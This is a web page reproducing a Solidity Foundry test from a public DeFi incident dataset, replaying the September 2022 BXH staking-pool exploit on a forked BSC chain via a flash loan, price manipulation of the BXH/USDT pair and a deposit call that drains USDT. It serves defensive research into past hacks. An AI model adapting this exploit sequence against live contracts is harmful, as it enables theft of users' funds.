Skip to content
THREATWIRE

Public reproduction file

src/test/2022-09/BXH_exp.sol

Public reproduction file for dataset entry BXH.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-09/BXH_exp.sol312 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// Total Lost : 40085 USDT
8// Attacker : 0x81c63d821b7cdf70c61009a81fef8db5949ac0c9
9// Attack Contract : 0x4e77df7b9cdcecec4115e59546f3eacba095a89f
10// Vulnerable Contract : https://bscscan.com/address/0x27539b1dee647b38e1b987c41c5336b1a8dce663
11// Attack Tx 0xa13c8c7a0c97093dba3096c88044273c29cebeee109e23622cd412dcca8f50f4
13CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
14IERC20 constant BXH = IERC20(0x6D1B7b59e3fab85B7d3a3d86e505Dd8e349EA7F3);
16contract Attacker is Test {
17 IERC20 constant vUSDT = IERC20(0x19195aC5F36F8C75Da129Afca8f92009E292B84a);
18 IERC20 constant usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);
19 IWBNB constant wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
20 IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
21 IPancakeRouter constant bxhRouter = IPancakeRouter(payable(0x6A1A6B78A57965E8EF8D1C51d92701601FA74F01));
23 IPancakePair constant usdtwbnbpair = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE); // wbnb/usdt Pair
24 IPancakePair constant bxhusdtpair = IPancakePair(0x919964B7f12A742E3D33176D7aF9094EA4152e6f); // bxh/usdt Pair
26 TokenStakingPoolDelegate constant bxhtokenstaking =
27 TokenStakingPoolDelegate(0x27539B1DEe647b38e1B987c41C5336b1A8DcE663);
29 function setUp() public {
30 cheat.createSelectFork("bsc", 21_727_289);
31 cheat.label(address(BXH), "BXH");
32 cheat.label(address(usdt), "USDT");
33 cheat.label(address(wbnb), "WBNB");
34 cheat.label(address(pancakeRouter), "PancakeRouter");
35 cheat.label(address(usdtwbnbpair), "usdt/wbnb Pair");
36 cheat.label(address(bxhusdtpair), "bxh/usdt Pair");
37 cheat.label(address(bxhRouter), "BXH Router");
38 }
40 function testExploit() public {
41 // Before attack need deposit first
43 // cheat.rollFork(21665464);
44 // cheat.prank(0x81C63d821b7CdF70C61009A81FeF8Db5949AC0C9);
46 // //emit log_named_decimal_uint("[Start] VUSDT Balance Of 0x54f611135A9b88bbE23a8CF6C1310c59321F2717:", vUSDT.balanceOf(address(0x54f611135A9b88bbE23a8CF6C1310c59321F2717)), 18);
47 // vUSDT.transfer(address(this), 5582000000000000000000);
48 // emit log_named_decimal_uint("[Start] contract VUSDT Balance is:", vUSDT.balanceOf(address(this)), 18);
50 // vUSDT.approve(0x27539B1DEe647b38e1B987c41C5336b1A8DcE663, type(uint256).max);
52 // bxhtokenstaking.deposit(0, vUSDT.balanceOf(address(this)));
53 // emit log_named_decimal_uint("[Start] contract Despoit VUSDT ", vUSDT.balanceOf(address(this)), 18);
55 //cheat.rollFork(21727289);
57 emit log_named_decimal_uint(
58 "[Start] BXH-USDT Pair USDT Balance is :",
59 usdt.balanceOf(address(0x919964B7f12A742E3D33176D7aF9094EA4152e6f)),
60 18
61 );
62 usdtwbnbpair.swap(3_178_800_000_000_000_000_000_000, 0, address(this), "0x");
64 emit log_named_decimal_uint("[Over] Hacker USDT Balance is :", usdt.balanceOf(address(this)), 18);
65 }
67 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
68 console.log("[Flashloan] received");
69 //approve bxh router for usdt
70 usdt.approve(0x6A1A6B78A57965E8EF8D1C51d92701601FA74F01, type(uint256).max);
72 address[] memory path = new address[](2);
73 path[0] = address(0x55d398326f99059fF775485246999027B3197955);
74 path[1] = address(0x6D1B7b59e3fab85B7d3a3d86e505Dd8e349EA7F3);
76 bxhRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
77 usdt.balanceOf(address(this)) - 805_614_870_582_412_124_618, 1, path, address(this), block.timestamp
78 );
79 emit log_named_decimal_uint("[Flashloan] now Hacker BXH balance is :", BXH.balanceOf(address(this)), 18);
81 usdt.transfer(0x27539B1DEe647b38e1B987c41C5336b1A8DcE663, 805_614_870_582_412_124_618);
83 emit log_named_decimal_uint(
84 "[Flashloan] now bxh contract USDT balance is :",
85 usdt.balanceOf(address(0x27539B1DEe647b38e1B987c41C5336b1A8DcE663)),
86 18
87 );
89 cheat.startPrank(0x4e77DF7b9cDcECeC4115e59546F3EAcBA095a89f);
90 bxhtokenstaking.deposit(0, 0);
91 usdt.transfer(address(this), usdt.balanceOf(address(0x4e77DF7b9cDcECeC4115e59546F3EAcBA095a89f)));
92 cheat.stopPrank();
94 emit log_named_decimal_uint("[Flashloan] Hacker USDT Balance is :", usdt.balanceOf(address(this)), 18);
95 emit log_named_decimal_uint(
96 "[Flashloan] bxh contract USDT Balance is :",
97 usdt.balanceOf(address(0x27539B1DEe647b38e1B987c41C5336b1A8DcE663)),
98 18
99 );
101 BXH.approve(0x6A1A6B78A57965E8EF8D1C51d92701601FA74F01, type(uint256).max);
103 address[] memory bxh_usdtpath = new address[](2);
104 bxh_usdtpath[0] = address(0x6D1B7b59e3fab85B7d3a3d86e505Dd8e349EA7F3);
105 bxh_usdtpath[1] = address(0x55d398326f99059fF775485246999027B3197955);
107 bxhRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
108 BXH.balanceOf(address(this)), 1, bxh_usdtpath, address(this), block.timestamp
109 );
111 emit log_named_decimal_uint("[Flashloan] Hacker USDT Balance is :", usdt.balanceOf(address(this)), 18);
113 uint256 swapfee = amount0 * 26 / 10_000;
115 usdt.transfer(address(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE), amount0 + swapfee);
116 }
118 receive() external payable {}
121interface TokenStakingPoolDelegate {
122 event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
123 event DepositDelegate(address indexed user, address toUser, uint256 indexed pid, uint256 amount);
124 event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
125 event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
126 event PoolAdded(
127 uint256 _pid,
128 uint256 _allocPoint,
129 address _lpToken,
130 bool _enableBonus,
131 address _bonusToken,
132 address _swapPairAddress,
133 uint256 _lockSeconds,
134 uint256 _depositMin,
135 uint256 _depositMax
136 );
137 event PoolAllocateChanged(uint256 _pid, uint256 _allocPoint);
138 event PoolBonusChanged(
139 uint256 _pid, bool _enableBonus, address _bonusToken, address _swapPairAddress, uint256 _lockSeconds
140 );
141 event PoolDepositChanged(uint256 _pid, uint256 _depositMin, uint256 _depositMax);
142 event SetDelegate(bool, address);
143 event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
145 function add(
146 uint256 _allocPoint,
147 address _lpToken,
148 bool _enableBonus,
149 address _bonusToken,
150 address _swapPairAddress,
151 uint256 _lockSeconds,
152 uint256 _depositMin,
153 uint256 _depositMax,
154 bool _withUpdate
155 ) external;
157 function adminAddress() external view returns (address);
159 function batchPrepareRewardTable(
160 uint256 spareCount
161 ) external returns (uint256);
163 function claimAllReward() external;
165 function claimBylpToken(
166 address _lpToken
167 ) external;
169 function decayPeriod() external view returns (uint256);
171 function decayRatio() external view returns (uint256);
173 function decayTable(
174 uint256
175 ) external view returns (uint256);
177 function delegateCaller() external view returns (address);
179 function deposit(uint256 _pid, uint256 _amount) external;
181 function depositByDelegate(uint256 _pid, address _toUser, uint256 _amount) external;
183 function emergencyWithdraw(
184 uint256 _pid
185 ) external;
187 function getITokenBlockRewardV(
188 uint256 _lastRewardBlock
189 ) external view returns (uint256);
191 function getITokenBlockRewardV(uint256 _lastRewardBlock, uint256 blocknumber) external view returns (uint256);
193 function getITokenBonusAmount(uint256 _pid, uint256 _amountInToken) external view returns (uint256);
195 function iToken() external view returns (address);
197 function lockedToken(uint256 _pid, address _user) external view returns (uint256);
199 function massUpdatePools() external;
201 function openDelegate() external view returns (bool);
203 function owner() external view returns (address);
205 function paused() external view returns (bool);
207 function pending(uint256 _pid, address _user) external view returns (uint256, uint256);
209 function pendingAllReward(
210 address _user
211 ) external view returns (uint256, uint256);
213 function pendingBylpToken(address _lpToken, address _user) external view returns (uint256, uint256);
215 function phase(
216 uint256 blockNumber
217 ) external view returns (uint256);
219 function poolInfo(
220 uint256
221 )
222 external
223 view
224 returns (
225 address lpToken,
226 uint256 allocPoint,
227 uint256 lastRewardBlock,
228 uint256 accITokenPerShare,
229 uint256 totalAmount,
230 uint256 lockSeconds,
231 bool enableBonus,
232 address bonusToken,
233 address swapPairAddress,
234 uint256 depositMin,
235 uint256 depositMax
236 );
238 function poolLength() external view returns (uint256);
240 function renounceOwnership() external;
242 function rewardV(
243 uint256 blockNumber
244 ) external view returns (uint256);
246 function safeGetITokenBlockReward(
247 uint256 _lastRewardBlock
248 ) external returns (uint256);
250 function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) external;
252 function setAdmin(
253 address _adminAddress
254 ) external;
256 function setBonus(
257 uint256 _pid,
258 bool _enableBonus,
259 address _bonusToken,
260 address _swapPairAddress,
261 uint256 _lockSeconds
262 ) external;
264 function setDecayPeriod(
265 uint256 _block
266 ) external;
268 function setDecayRatio(
269 uint256 _ratio
270 ) external;
272 function setDelegate(bool open, address caller) external;
274 function setPause(
275 bool _paused
276 ) external;
278 function setPoolDepositLimited(uint256 _pid, uint256 _depositMin, uint256 _depositMax) external;
280 function setTokenPerBlock(
281 uint256 _newPerBlock
282 ) external;
284 function startBlock() external view returns (uint256);
286 function tokenPerBlock() external view returns (uint256);
288 function totalAllocPoint() external view returns (uint256);
290 function transferOwnership(
291 address newOwner
292 ) external;
294 function updatePool(
295 uint256 _pid
296 ) external;
298 function userDepositInfo(uint256, address, uint256) external view returns (uint256 orderTime, uint256 amount);
300 function userInfo(
301 uint256,
302 address
303 ) external view returns (uint256 amount, uint256 rewardDebt, uint256 rewardReceived, uint256 lastReceived);
305 function withdraw(uint256 _pid, uint256 _amount) external returns (uint256);
307 function withdrawBylpToken(address _lpToken, uint256 _amount) external;
309 function withdrawEmergency(address tokenaddress, address to) external;
311 function withdrawEmergencyNative(address to, uint256 amount) external;

Analysis

Dataset entry

Public Foundry test for “BXH” (2022-09-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x81c63d821b7cdf70c61009a81fef8db5949ac0c9

  • Attack Contract

    0x4e77df7b9cdcecec4115e59546f3eacba095a89f

  • Vulnerable Contract

    0x27539b1dee647b38e1b987c41c5336b1a8dce663

  • Attack Tx

    0xa13c8c7a0c97093dba3096c88044273c29cebeee109e23622cd412dcca8f50f4

File record

Name
BXH
Path
src/test/2022-09/BXH_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
23d0248dcf04e6af40e59d146b7bb8ed3cb13b64
Language
Solidity
Size
313 lines
Date
2022-09-28
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-09/BXH_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 23d0248dcf04e6af40e59d146b7bb8ed3cb13b64, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.